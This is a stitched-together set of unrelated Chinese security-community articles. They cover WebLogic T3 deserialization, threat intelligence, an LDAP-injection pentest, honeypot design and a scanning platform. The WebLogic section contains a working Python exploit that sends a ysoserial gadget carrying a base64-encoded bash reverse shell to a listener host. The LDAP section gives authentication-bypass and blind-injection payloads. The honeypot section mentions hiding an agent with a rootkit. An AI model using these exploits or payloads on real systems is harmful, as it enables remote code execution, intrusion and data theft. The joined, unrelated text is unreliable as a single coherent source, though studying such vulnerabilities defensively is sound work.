T3协议是Weblogic用于通信的独有的一个协议，Weblogic Server的RMI通信使用它在其他区的Java程序(包括
服务端，客户端，以及其他实例)传输数据。
### T3协议的组成
这里借一张图解释一下关于 T3协议的组成
> `ac ed 00 05`是反序列化标志，而在 T3 协议中每个序列化数据包前面都有`fe 01 00 00`，所以 T3 的序列化标志为`fe 01
> 00 00 ac ed 00 05`
并且在发送T3协议的时候 还可以发送多个序列化数据 ，可以替换其中一个的序列化数据 实现反序列化攻击。
借qax的一张图解释
## 基于T3协议的漏洞
关于T3协议
最开始的漏洞是CVE-2015-4852，随后都是绕过官方的补丁例如：CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
### CVE-2015-4852
在weblogic收到T3协议的时候
会在`weblogic/rjvm/InboundMsgAbbrev.class`类中进行反序列化操作的处理
这里重写了readObject
调用了`ServerChannelInputStream`
在`ServerChannelInputStream`中 重写了`resolveClass`但是其最终还是调用了父类的`resolveClass`
简单点说就是 ，resolveClass方法把类的序列化描述加工成该类的Class对象，所以这里也就是入口点
没有任何过滤的调用resolveClass ，可以加载恶意的Class对象
这里放入resolveClass的源码
### debug分析
POC：
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget, cmd):
YSO_PATH = "./ysoserial-all.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
data += sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
print(data.decode())
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)
var1是我们输入的序列化数据
中间的一系列调用省略 直接到resolveClass类中
这里的var1是AnnotationInvocationHandler，就直接到了cc1的起点
调用getName方法获取类名，之后通过Class.forName方法获取对应的类，因为这里的resolveClass方法是直接使用的父类的该方法，并没有做出任何的安全过滤操作，所以能够实例化任意类
之后的利用T3协议反序列化的都是和黑名单、白名单斗智斗勇的
### CVE-2016-0638
这个cve即是绕过2015补丁的也是一个二次反序列化的实例
关于Externalizable
`weblogic/jms/common/StreamMessageImpl`
可以看到调用了一次readExternal，又调用了一次readObject两次反序列化
这里我们跟进`createPayload`方法
readInt()读取 输入数据的长度，var0为输入数据
`Math.min(var1, Chunk.CHUNK_SIZE * 2)`取出chunk长度中较小的一位
将我们的读取到的chunk进行反序列化，重写writeExternal()方法，将需要二次反序列化的数据写入，再次进行序列化即可。ref：<https://www.anquanke.com/post/id/250801#h3-8>
## ref
[https://www.cnblogs.com/nice0e3/p/14201884.html](https://www.cnblogs.com/nice0e3/p/14201884.html#0x00-%E5%89%8D%E8%A8%80)
<https://xz.aliyun.com/t/11078>
<https://www.freebuf.com/vuls/351801.html> | 社区文章 |
# 威胁情报的上下文、标示及能够执行的建议
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
威胁情报的上下文、标示及能够执行的建议
之前的文章《威胁情报的层次》(参看阅读原文)中，我们讨论了根据自身实践所理解的威胁情报分层，明确了每一层所包含的信息类型及使用场景。在本文里我们还是从Gartner对威胁情报的定义出发，进一步探讨其中涉及到的几个组成要素：上下文、标示、能够执行的建议。
## 数据、信息与情报
威胁情报厂商Recorded
Future曾经写过一个文章来分析数据、信息与情报的区别，有兴趣的话可以访问参考资源的链接读一下。与其他大量借用军事商业领域的说法把威胁情报说得云山雾罩的文章相比，Recorded
Future的这个算写得更接网络安全的地气些。个人的观点，目前威胁情报结合SOC/SIEM的主流应用场景远没有到可以跟军事情报相提并论程度，先把多维度的数据收集全清理好，干好这些脏活累活再构建上层建筑才有真正可依赖的基础。
数据、信息、情报这几个概念中，数据的定义是相对清楚的，可以理解为大量独立的客观事实的记录，信息与情报则是基于数据进行处理后得到的不同层次的结论。下面这个图被广泛的引用，表达了一个基本的过程和关系：
但是，信息和情报之间区别相当微妙，在我读过的各种不同尝试解释其区别的文章以后，依然无法画出它们之间清晰的界限。从有用程度和继承关系的角度来看，不如以一个很可能非常不恰当的比方来让我们暂时放下纠结：数据可以看作是罂粟，信息是鸦片，情报是海洛因。
## Gartner的威胁情报定义
各个厂商和组织对威胁情报都有不同的看法，相应的也有不同的定义，其中Gartner的描述被引用得相对较多，很大程度上在于它包含的组成元素比较完整：
Threat intelligence is evidence-based knowledge, including context,
mechanisms, indicators, implications and actionable advice, about an existing
or emerging menace or hazard to assets that can be used to inform decisions
regarding the subject’s response to that menace or hazard.
对于上面的英文定义，我发现各个厂商和组织对其的中文翻译并不很一致，主要表现在”context, mechanisms, indicators,
implications and actionable advice”这些所包含的组成元素的不同翻译取向上。我的翻译如下：
威胁情报是某种基于证据的知识，包括上下文、机制、标示、含义和能够执行的建议，这些知识与资产所面临已有的或酝酿中的威胁或危害相关，可用于对这些威胁或危害进行响应的相关决策提供信息支持。
上面标红的元素概念值得深入解读一下，以下就是我的理解。
## 上下文
威胁元素相关的多维度属性的标定和描述，不同层次的威胁情报有其对应的不同属性集，除此之外上下文可能还会包括时间与环境相关的信息。
比如IP，安全方面可以有如下这些属性：
* 所在ASN域
* 地理位置
* 是否代理
* 近期是否存在相关恶意活动
* 网络出口类型
* 历史和当前绑定过的域名
* 开放的端口和服务
以下是一个IP信誉的实例：
对于文件样本：
* 文件是否恶意
* 恶意类型
* 恶意代码家族
* 是否定向攻击中使用
* 相关的网络行为
以下是360威胁情报中心输出的样本上下文信息的一个样例：
对于APT组织或团伙：
* 组织名字及别名
* 来源国家地区
* 攻击目的
* 目标行业
* 攻击方法手段
* 技术能力
下图的例子为对于海莲花APT团伙多个属性的描述：
这里包含了攻击目标、攻击目的、攻击方式以及战术工具过程（即所谓的TTP）等信息，通常在针对APT团伙的全面分析报告中输出。
为什么上下文重要，因为这些信息可被用于了解对手、指导检测响应、设计对抗等，使我们为特定威胁的检测、处置及后续对抗决策提供必要信息支持。完整的上下文信息可以帮助回答在安全分析和事件响应方面如下这些关键问题：
* 我们的对手是谁。攻击来源是普通的那些基于感染量来牟利的黑产还是定向性的攻击，如果是前者处理起来相对简单，中断连接清除后门阻断进入渠道就可以了，比如主机不幸被感染成为Elknot DDoS Botnet的节点，确认以后只要清除恶意代码修补相关的漏洞即可。但如果是后者，除了通常的威胁消除则需要对网络做全面的排查评估损害，通过日志分析搞清楚入侵、植入、控制整个过程。比如我们在协助用户处置海莲花团伙的攻击感染事件时，尽可能地明确了恶意代码的进入途径，地毯式的排查受感染的系统本身及与其存在可疑交互的其他机器，最后在相关的系统上发现了之前所未知的来自海莲花团伙的其他恶意代码家族。
* 对手的能力与资源情况如何。这个可以通过多个属性的标定情况来做评估，比如对手是否有自己开发的自用恶意代码家族，种类有多少，是否有使用0day漏洞的历史，网络基础设施用了多少IP域名，入侵控制过多少合法网站作为水坑或分发恶意代码的渠道。比如对于Stuxnet这样的使用了4个0day漏洞加一堆白签名的高端攻击，以及掌握了大把从网络设备到通用操作系统0day漏洞和成熟攻击框架的NSA，看看Pwn2Own比赛里那些炫技般利用未知漏洞结合安全机制突破的利用，我们就应该知道通过修补已知漏洞根本无法阻止高级黑客侵入网络，单环节的银弹绝不可能存在，对其的检测重点可能需要落在洛马Kill Chain模型的载荷投递及突防利用以后的阶段。
* 我们如何对抗。这取决于我们对于对手TTP的理解程度，现在有句话很流行：未知攻，焉知防，其实由于攻防双方巨大的不对称性，要形成有效的防御光知道攻是远远不够的，但没有对于对手攻击手段的了解，连基本的攻击面分析都做不完整。
## 标示
谈及威胁情报我们经常会听到一个术语叫IOC，它是Indicator Of
Compromise的缩写。Compromise在信息安全领域的文章中是一个很常见的单词，其对应的中文翻译有：妥协、折中、泄露、危及、损害、违背等，于是在很多信息安全相关的技术分析与新闻中，经常能看到一些毫无安全背景知识的翻译者直接把Compromise粗暴地映射到”妥协”这样的字眼。其实，在讨论威胁情报的语境下，特别是出现在IOC的组合中，Compromise被译为失陷或陷落应该最为合适，其核心涵义在于强调入侵或损害已经达成的状态。Indicator常见的中文翻译有：指示器、指示牌、指标等。这个单词在威胁情报的语境下解释为某种标示物更为合适，就如同下面这张图里看到浮在水面上的一条条的死鱼，看到它们就可以很有把握地推断鱼所在水体的出现了某种问题，缺氧也罢存在有毒物质也罢，总之一句话：出事了。
对应到网络安全的场景中，当我们观察到自己管理的网络中某些终端在连接某些已知的黑IP，在尝试解析某些奇怪的域名，终端本身的操作系统中出现了某些异常怪的文件或进程，那么我们就知道网络出现了安全问题。这些上面提到的黑IP、黑域名、黑文件等等就是标示物，构成了典型的低层次IOC。
本质上，IOC用来回答如下两个最基本的问题：
* 我是不是已经被入侵控制了。这个状态判定是安全事件分析和处置的起点之一，其他的起点可能包括异常检测模型输出的可疑行为。IOC的优点在于它的准确性，特别是文件Hash的场景，误报可能性低到基本没有安全运维经验团队也能依照建议中的指示进行处理。与IOC相反，异常模型的输出对处理其的团队的安全分析能力要求很高，需要足够的经验排除掉大量的误报，而好处在于可能发现IOC没有覆盖到的未知入侵活动。
* 攻击对我的影响面有多大。通过IOC与网络中的实际活动进行匹配，我们可以非常容易地发现目前已经遭受到入侵或控制的系统从而评估问题的影响面，比如通过监测域名 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 我们可以发现网络中被WannaCry勒索蠕虫所入侵过的机器，这些机器极有可能还存在着MS17-010相关的严重安全漏洞。
以下是国内一个以金融组织为目标的APT团伙相关的部分IOC例子：
IOC是目前绝大部分威胁情报中最能被直接使用的数据部分，基于IOC触发的事件大多时候成为目前安全运营与应急响应的起点，360的天眼产品可以接收来自云端的IOC数据与从本地网络上收集到事实做匹配产生告警，更多的场景下SOC/SIEM类产品会与本地的威胁情报平台做交互匹配日志发现事件线索，利用本地收集的多维度信息做关联分析。可以这么说，威胁情报本质上是安全厂商以IOC为载体输出判定能力，帮助用户消除不确定性，确定性越强则IOC的价值越大，结合足够丰富的上下文以最终实现在某个层次上的某种方式的处置。一个威胁情报提供商如果只是收集些开源的数据做简单的去重关联，没有基于自身更多维度的数据和挖掘分析方法进行提纯判定，那它提供的信息增值是非常有限的，甚至有可能落入”garbage
in, garbage out”的陷井，徒劳地增加安全运营人员的排查工作量而成效低下。
## 能够执行的建议
威胁情报中包含的建议要能被执行，要求建议执行所需要技术能力、金钱时间人力资源及相应的管辖权与对应的执行主体相匹配，这也意味着对于不同类型的执行者需要有不同的建议。
在文章《威胁情报的层次分析》中我曾经画过一个如下的金字塔图：
金字塔的最下面两层主要对应的就是IOC类的威胁情报数据，使用的主体为SOC/SIEM系统的运营及事件响应人员，对相关事件的处置建议也以检测、隔离、消除及后续修补的操作指示为主。
TTP和组织层次的威胁情报的输出对象则以安全管理负责人或CISO为主，相应的建议关注重点在于面向对手的整体解决方案。再往上的针对人员的建议，消除此类威胁就很有可能涉及行政或执法资源的引入，不再局限于组织机构的内部。在极端的国家级APT攻防场景下，作为威胁源头的人是很难消除的，退而求其次只能求助于长期持续的技术对抗。
让我们看个威胁情报中给出建议的例子。2017年底的时候爆出了影响面巨大的CPU硬件漏洞，可能导致电脑内存中的敏感信息泄露。当时US-CERT出过一版相应的漏洞通告，其中给出的建议是什么呢？看下面这个图：
你没看错，它给出的建议是”Replace CPU
hardware”，你觉得这样的建议有操作和经济上的可行性吗？当然，这个通告在后续是有更新的，在Intel和操作系统厂商提供了软件补丁以后，建议有了修正：
相比最初的根本不可行的建议，打补丁至少是可操作的，而且还提示了打补丁可能导致的性能风险。但是，建议这东西是越细越好的，就象下面这个360的文档给的那样，区分打补丁的对象及详细的执行步骤。
输出真正的能够被的执行安全建议并不容易，它需要威胁情报厂商对所处理的威胁有完整而深刻的认识，对于用户的使用场景和处理资源的限制有合理的估计，根据现实情况给出治标或治本的方案。
## 参考资源
<https://ti.360.net/blog/articles/level-of-threat-intelligence/>
<https://www.recordedfuture.com/threat-intelligence-data/> | 社区文章 |
在最近的一次测试中，随缘摸到了一个sso系统，留给前台的功能只有登陆。
没有验证码，但是登陆点强制要求每个用户更改强密码，而且除了管理员和测试账号其他大部分都是工号形式，所以不考虑撞库。直接fuzz一把梭
测试过程中发现username对于下面payload会存在两种不同回显
当时我并不理解这种payload是什么库的数据格式。但是看到存在"!"字符时，页面的回显是不同的，而"!"在绝大多数语言中都是取反的表达形式，自然会产生不同的布尔值，那么无疑就是个xxx注入点了
# 何为LDAP
通过payload的类型，看到是经典的ldap注入语句。一种老协议和数据存储形式了
## LDAP协议
LDAP(Lightweight Directory Access
Protocol):即轻量级目录访问协议。是一种运行于TCP/IP之上的在线目录访问协议，主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active
Directory Application Mode)和OpenLDAP
## LDAP存储
MySQL数据库，数据都是按记录一条条记录存在表中。而LDAP数据库，是树结构的，数据存储在叶子节点上。
LDAP目录中的信息是按照树形结构组织的:
dn:一条记录的位置
dc:一条记录所属的区域
ou:一条记录所属的组织
cn/uid:一条记录的名字/ID
这种树结构非常有利于数据的查询。首先要说明是哪一棵树(dc)，然后是从树根到目标所经过的所有分叉(ou)，最后就是目标的名字(cn/uid)，借用一张图来表明结构如下：
## 条目&对象类&属性
* 条目(entry):是目录中存储的基本信息单元，上图每一个方框代表一个entry。一个entry有若干个属性和若干个值，有些entry还能包含子entry
* 对象类(obejectclass):对象类封装了可选/必选 **属性** ，同时对象类也是支持继承的。一个entry必须包含一个objectClass，且需要赋予至少一个值。而且objectClass有着严格的等级之分，最顶层是top和alias。例如，organizationalPerson这个objectClass就隶属于person，而person又隶属于top
* 属性(atrribute):顾名思义，用来存储字段值。被封装在objectclass里的，每个属性(attribute)也会分配唯一的OID号码
## LDAP查询语句
一个圆括号内的判断语句又称为一个过滤器filter。
( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))
### 逻辑与&
(&(username=Hpdoger)(password=ikun))
查找name属性为Hpdoger并且password属性值为ikun的所有条目
### 逻辑或|
(|(username=Hpdoger)(displayname=Hpdoger))
查找username或者displayname为Hpdoger的所有条目
### 特殊说明
除使用逻辑操作符外，还允许使用下面的单独符号作为两个特殊常量
(&) ->Absolute TRUE
(|) ->Absolute FALSE
* ->通配符
另外，默认情况下，LDAP的DN和所有属性都不区分大小写，即在查询时：
(username=Hpdoger) <=> (username=HPDOGER)
# LDAP注入
由于LDAP的出现可以追溯到1980年，关于它的漏洞也是历史悠久。LDAP注入攻击和SQL注入攻击相似，利用用户引入的参数生成LDAP查询。攻击者构造恶意的查询语句读取其它数据/跨objectclass读取属性，早在wooyun时代就有师傅详细的剖析了这类漏洞。
上文说到LDAP过滤器的结构和使用得最广泛的LDAP：ADAM和OpenLDAP。然而对于下面两种情况
## 无逻辑操作符的注入
情景：`(attribute=$input)`
我们构造输入:`$input=value)(injected_filter`
代入查询的完整语句就为:
(attribute=value)(injected_filter)
由于一个括号内代表一个过滤器，在OpenLDAP实施中，第二个过滤器会被忽略，只有第一个会被执行。而在ADAM中，有两个过滤器的查询是不被允许的。
因而这类情况仅对于OpenLDAP有一定的影响。
例如我们要想查询一个字段是否存在某值时，可以用`$input=x*`进行推移，利用页面响应不同判断x*是否查询成功
## 带有逻辑操作符的注入
(|(attribute=$input)(second_filter))
(&(attribute=$input)(second_filter))
此时带有逻辑操作符的括号相当于一个过滤器。此时形如value)(injected_filter)的注入会变成如下过滤器结构
(&(attribute=value)(injected_filter))(second_filter)
虽然过滤器语法上并不正确，OpenLDAP还是会从左到右进行处理，忽略第一个过滤器闭合后的任何字符。一些LDAP客户端Web组成会忽略第二个过滤器，将ADAM和OpenLDAP发送给第一个完成的过滤器，因而存在注入。
举个最简单的登陆注入的例子，如果验证登陆的查询语句是这样:
(&(USER=$username)(PASSWORD=$pwd))
输入$username = `admin)(&)(`使查询语句变为
(&(USER=admin)(&))((PASSWORD=$pwd))
即可让后面的password过滤器失效，执行第一个过滤器而返回true，达到万能密码的效果。
## 后注入分析
注入大致分为and、or类型这里就不赘述，感兴趣的可以看之前wooyun的文章：
[LDAP注入与防御剖析](https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html)
还有一个joomla的一个userPassword注入实例:
[Joomla! LDAP注入导致登录认证绕过漏洞](https://www.anquanke.com/post/id/86899)
# 回到实例
大致了解注入类型，就开始了第一轮尝试
当通配符匹配到用户名时返回
用户名不存在时返回
构造用户名恒真`username=admin)(%26&password=123`
说明它判断用户的形式并不是`(&(USER=$username)(PASSWORD=$pwd))`，因为我们查到的用户名是true，但是验证密码false
由于自己也没搞过LDAP的开发..就盲猜后端应该就是这种情况:
执行了`(&(USER=$username)(objectclass=xxx))`后，取password与$password进行对比
## ACTION
那么首先要知道它继承了哪些objectclass？因为树结构都有根，使我们能顺藤摸瓜。首先是top肯定存在，回显如下:
但是top的子类太多了，先fuzz一下objectclass的值缩小范围，payload：
username=admin)(objectclass%3d$str
发现存在 **person** 和 **user** 两个objectclass
再fuzz一下attribute得到的值如下:
username=admin)($str%3d*
凭借这些信息去LDAP文档里溯继承链，先去找user类，继承自organizationalPerson
同理organizationalperson又是继承自person的，person继承自top，最终的继承链为：
top->person->organizationalperson->user
也就是说这些类存在的属性都可能被调用。很遗憾的是我并没有fuzz到password类型参数，一般来说password会以userPassword的形式存储在person对象中，很多基于ldap的开发demo中也是这样写的。
但是userPassword毕竟也只是person类可选的属性，开发大概率是改名或者重写属性了，这也是这个漏洞没有上升到严重危害的瓶颈点
不过依然可以注出一些有用的数据。例如所有用户的用户名、邮箱、手机号、姓名、性别等等，说不定以后可以越权修改某账号性别呢-3-
### 盲注mobile
尝试注入管理员的手机号mobile
username=admin)(mobile=%s*&password=123
利用通配符不断添加数字，同理邮箱也可以注出来，与sql盲注的思路相同。
### 盲注username
毕竟对于sso，收集username是很有用的信息。那么问题来了，我们是可以通过生成字典来遍历存在的用户名，但是这个工作量是指数倍的增长，一天能跑完一个字母开头的就不错了，而且浪费了通配符的作用。
可是又想做到无限迭代把所有用户一个不漏的跑完，passer6y师傅提醒我用笛卡尔积
最后画出来的流程图大致如下：
最后测试用户大概有1w多，然而这些大部分是测试帐号，未授权的情况下也不能跑具体数据，但也算是验证了思路的可执行性。
# 总结
网上关于这类漏洞的fuzz思路也比较久远了，第一次接触这种漏洞，若文章思路如果有什么不对的地方还请师傅们斧正。自己对这类漏洞的姿势理解很浅，现在漏洞已经修复，但是如果有师傅对于password的注入有想法，可以私下交流一下
# 相关链接
<https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html>
<https://www.cnblogs.com/pycode/p/9495808.html>
<https://zhuanlan.zhihu.com/p/32732045> | 社区文章 |
#### Author elknot@360corpsec
Cheat Your Enemies Mean Making More Times For You to Response —— 题记
## 0x00 前言
年后兑现的承诺来了，由于还有两篇关于威胁情报的稿子，所以更新的节奏会稍微慢一点，不然又骗稿费的嫌疑。
首先这套蜜罐平台呢是16年还在信息安全部的时候丢下来的一个任务，由于现在已经暂时不混甲方安全了，所以这些东西留着也就没啥用了，所以这次放一个Ver2版本的设计出，Ver3版本的暂时还不放，因为猫教老虎上山不教老虎爬树，你懂得。
## 0x01 为什么需要蜜罐
首先呢，绝大多数甲方没有蜜罐这个需求，因为蜜罐这个东西实际上是为了抓一些新样本或者是一些业务针对型选手而设计的。这玩意儿成本太高，除了服务器、网络等资源成本，软件成本也是一个比较大的问题，因为现在很多蜜罐都已经被人家识别出指纹来了，所以直接套用现有的蜜罐程序一般会被反侦察意识较强的攻击者发现并识破，这样蜜罐也就没有了价值。
那么蜜罐到底是什么呢，其实蜜罐的衍生概念包括蜜网、蜜墙等这些都是为了让攻击者上当，然后套取攻击者的资产信息和工具信息，方便于我们对这些攻击者进行了解和掌握，甚至是对攻击者进行反击，这么看来蜜罐的用处也不小。非要说简单的话，蜜罐就是一种引诱攻击的伪装成正常业务系统的服务基础设施，包含伪装的业务软件、信息记录器和基础环境。
那么蜜罐究竟作用是用来干什么，仅仅是吸引攻击来钓鱼执法么，说清楚这个问题必须要说一下企业安全内部建设的问题。
企业安全内部面临的安全问题也就是所谓的内部安全攻击面一般情况就两种，天灾和人祸，天灾比如说遇到了因为自然环境因素导致的业务中断、使用的软件被人家挖出来了相关的漏洞并且已经有相关的在野利用等，而人祸的原因更多一些，比如说口令过于简单、补丁不及时打、域账号安全管理因素、配置失误等。这么说来的话所谓的找漏洞其实就是看你的IT架构里面是不是包含这些天灾人祸，然后可以小小的利用一下干坏事咯，没错，攻击者也就是这么想的，良心上过得去的会刷你点SRC积分或者rmb，稍微有点坏心眼的会给你来个薅羊毛，心眼坏到一定程度的会考虑使用高级威胁手段对你的操作系统产生持续性的安全影响。
说到这里，你可能觉得以上说的东西和蜜罐都没什么关系，实际上上面的一段话恰好说明了一个蜜罐设计的原则——让攻击者看上去一眼看不出来这是假的，就让他认为这里真的有天灾或者人祸，让后让他慢慢的把武器使出来，等他认为自己攻击得手了之后，我们再来分析他，做出相对性的预防措施和预警，然后把蜜罐还原到初始状态继续钓鱼执法。
## 0x02 现有蜜罐的问题
现有的蜜罐大问题其实倒是没有，就是因为用的久了，难免会被人手机指纹，指纹匹配上，然后攻击者就放弃攻击了，这样你就没有办法钓鱼执法了，这样的话就容易出现警察蹲了半天小偷却不来的情况。
同时还有一个问题，由于我们的蜜罐更多的是想要捕获一些未知的攻击甚至是漏洞在野利用，这种蜜罐的应用对于安全研究的意义其实更大，所以这个问题我们也应该考虑在内。
由于现在数据驱动安全的问题提的比较多，尽可能收集蜜罐产生的数据也是一个比较重要的环节，并且要保证数据是可用的，可分析的。
## 0x03 关于蜜罐设计的想法
根据上面产生的问题，我们就有了我们设计蜜罐的一些思路：
* 尽最大的可能模拟完整业务系统的输入输出（包括操作系统、中间件、业务代码）
* 尽最大的可能去收集攻击者产生的数据（资产信息、武器信息）
* 尽最大的可能去捕获较多的新的在野攻击（受影响组件热切换）
* 尽最大的可能去保证蜜罐不对外发起真实的攻击（容易被相关部门查水表）
前面三条我就不说了，最后一条其实是一个很严重的问题，也是绝大部分企业不敢部署大规模蜜罐系统的原因，因为监管部门的存在，有时候会对不定期的对业务系统进行安全性检查，万一一不小心查到了蜜罐，这个对于管安全的领导来说，脸上绝对是挂不住的，所以这些企业要想对蜜罐感兴趣的话，必须得玩blackops或者雇佣兵思路——即打死也不承认这跟我们有关系，但是外面的人大家都知道这是你干的。
## 0x04 详细的架构设计
话不多说，直接上图，上了之后我们再来挨个解释
首先我们先把这张图分为四个部分：Sensor资产部分，命令下发及管控部分，数据收集及分析部分和检测攻击部分。
Sensor资产部分：这里包含资源（网络、服务器）、操作系统环境、Agent部分、QEMU虚拟化部分，操作系统环境部分我们将SSH端口修改为65522（因为NMAP在扫描端口时候如果不添加-p
T:1-65535或者是-p
U:1-65535参数时，不会对60000端口以后的端口进行探测和扫描，最起码低端黑产不会干这种事儿）并同时部署SSH蜜罐（这里是为了伪造业务系统中的弱口令环境，可以选择Kippo或者是自己使用libopenssl编写），并且使用Rootkit隐藏Agent的进程，同时要保证SSH蜜罐的环境和真实SSH环境相似程度越高越好。QEMU虚拟化部分主要是用来部署业务系统的，同时讲蜜罐业务系统和真实系统做端口映射，保证攻击者在扫描时不会发现该服务是运行在QEMU上的虚拟环境（这里不要用VirtualBox，原因以后有机会再扯）。
命令下发及管控部分：这部分包含命令下发服务器、蜜罐模板服务器、控制台，这一部分命令下发部分和之前Agent那篇文章中的作用类似，主要是为了给服务器下发对应的配置文件，然后让Sensor部分主动地去蜜罐模板服务器去获取对应的虚拟机配置模板，such
as：
[cve-2017-10271-weblogic]
name = "Weblogic 远程执行漏洞（CVE-2017-10271）"
file_path = "/home/ubuntu/Desktop/qemu_model_path/weblogic/cve-2017-10271.qcow2"
vul_name = "CVE-2017-10271"
original_port = 8000
mirror_port = 9001
这样的话我们把这个配置文件通过命令下发服务器，通过Sensor端Agent执行对应的部署就可以实现一个蜜罐系统的“伪”热切换。，当然这一部分必须通过日志记录在案，你懂得。
数据收集及分析部分：这里的话取决于你的蜜罐系统的规模，蜜罐系统其实一般使用EL+Django后台就可以实现性能较强的后台管理，如果实在有需求的话，可以考虑ELK+第三方后台（因为有些团队分析和运维是两拨人，你懂得）
攻击检测部分：这里主要是从流量入手，因为有些黑产不地道，一般都是拿来当肉鸡或者是挖矿，我们可以通过流量阈值和矿池情报等一系列流量规则来检测蜜罐中真实发生的攻击，这部分可以考虑引入snort规则、yara规则等，当然二进制匹配其实我也做了，只是这里不写出来了。当然，如果你的蜜罐做的足够的话，这一部分实际上没什么卵用，主要是怕你的资产由于某些原因发起了真的攻击导致别人找过来心平气和的想把你砍一顿的场景，以防万一。
## 0x05 蜜罐日志分析
如果你把蜜罐系统上线之后，这时候我们一段时间之后就会收集到一些相关的攻击信息了，肯定会有人爆你的ssh菊花，然后放点什么其他的东西进去打别人，你懂的我这里就不说了。
其实我想说的是，蜜罐系统可以收集到何种类型的信息，一般来讲针对不同的蜜罐来说，收集的东西都是类似的，我们以下面的场景作为模拟演练，当然下面的场景是真实发生的：
ssh爆破-》检测安全措施-》关闭安全措施-》下载攻击程序-》执行攻击程序-》退出-》对外发起DDoS攻击。
这个时候攻击者走了，我们就可以看一下攻击者到底留下了什么，我们按照资产类情报和武器类情报将产生的攻击数据进行归类：
资产类情报：SSH爆破字典、SSH连接客户端、病毒分发服务器IP/域名、远程控制域名/IP
武器类情报：使用的病毒样本、攻击时执行的命令、攻击时对系统产生的影响。
这样的话我们大概就能够获取到更多的攻击者情报，当然更多的数据有很多需要大家去挖掘，这时候我就不说了，众所周知的原因哈。
## 0x06 总结
蜜罐这东西其实就是一种网络安全的钓鱼执法，就是在那里模拟一个环境让攻击者来打一下，然后我们反击一把梭。蜜罐是一种非常有效而且好的研究攻击者的基础设施，但是蜜罐设计的过程一定要尽最大的努力模拟真实的环境和场景，防止被攻击者发现然后穿帮。最后友情提醒大家，一定要在合理合法的情况下部署蜜罐和处置攻击者，防止被人家抓住小辫子。 | 社区文章 |
注：本文为“小米安全中心”原创，转载请联系“小米安全中心”：<https://sec.xiaomi.com/>
扫描云平台架构设计
随着互联网业务的高速发展，企业业务的快速扩张，传统的安全扫描器已经远远不能跟上企业的脚步，一方面是使用门槛和成本较高，需要专业的安全人员才能使用并发现安全问题，另一方面，传统的以产品为主的交付方式对于互联网企业使用上也存在滞后性，漏洞爆发以后，互联网企业往往是第一波被攻击的对象，漏洞难以及时发现。
针对以上的安全扫描痛点和互联网业务的特点，现在主要以插件式的扫描器为主流平台，并以SaaS的形式输出安全能力。
功能 | 插件式扫描器 | 原有检测产品
---|---|---
检测范围 | 覆盖全部企业域名/IP | 爬虫获取/手动加入
支持漏洞范围 | 自主添加符合自己企业的漏洞检测插件 | 不定期更新
数据源支持 | 自主添加数据源 | 爬虫
漏洞检测库 | 自主添加，自主编写 | 大量无用漏洞，更新滞后
指纹识别 | 根据企业情况，准确识别 | 无
资产管理 | 配合指纹识别，智能获取资产信息，并可以进行分析与管理 | 无
扫描策略 | 周期扫描，全量扫描，增量扫描 | 人工启动
产品更新 | 根据漏洞情况随时更新 | 不定时/不更新
插件式扫描平台与原有检测产品的对比
SaaS云平台架构设计
安全云平台架构设计
安全扫描场景和安全能力输出
1.应急扫描：紧急任务，0day漏洞，安全事件，安全制度，
2.全量扫描：周期性的对全网安全资产进行全插件扫描
3.增量扫描：每天对新上线的Web/服务器和存在服务变更的资产进行扫描
4.上线前的安全测试：尚未上线的项目，由QA/RD，使用Web界面进行自行的安全测试，减少安全工程师的基础工作量。
5.安全自测：产品线对已上线产品测试安全性。
平台基于Docker集群管理，支持平滑扩展和弹性伸缩，以应对业务的持续增长和突发漏洞的全量扫描。
基于流量分析的被动扫描
被动式扫描是完全靠旁路流量分析，并不会发出任何请求的离线安全扫描方式，可以发现网络拓扑，网络服务，网络流量和漏洞，实际使用中，被动扫描是安全分析中重要的一环。最有名的被动式扫描产品当属出品Nessus扫描器的Tenable公司的Passive
Vulnerability Scanner （PVS）
PVS介绍
由于PVS的售价非常昂贵，所以国内非常少有公司购买使用（注1）。PVS适用于监控小型网络或者大型网络的特定网段，并且需要搭配主动式扫描器使用。
PVS数据监控页面
PVS漏洞列表页面
从实际使用效果来看，PVS发现的数据仅可以对主动式扫描器作为补充，还远远不能独挡一面，对于甲方来说，并不会关心我们的内部浏览器的使用分布，我们都装了哪些系统等等信息，而PVS发现的漏洞，对于我们而言也是无甚意义。
PVS移动资产管理
PVS可以从流量中发现资产和服务，实际由于网段的限制，效果有限。移动资产的效果就更鸡肋了，大量员工的移动设备，假如我们被一个恶意的设备接入，在这里也根本看不到，何谈分析？
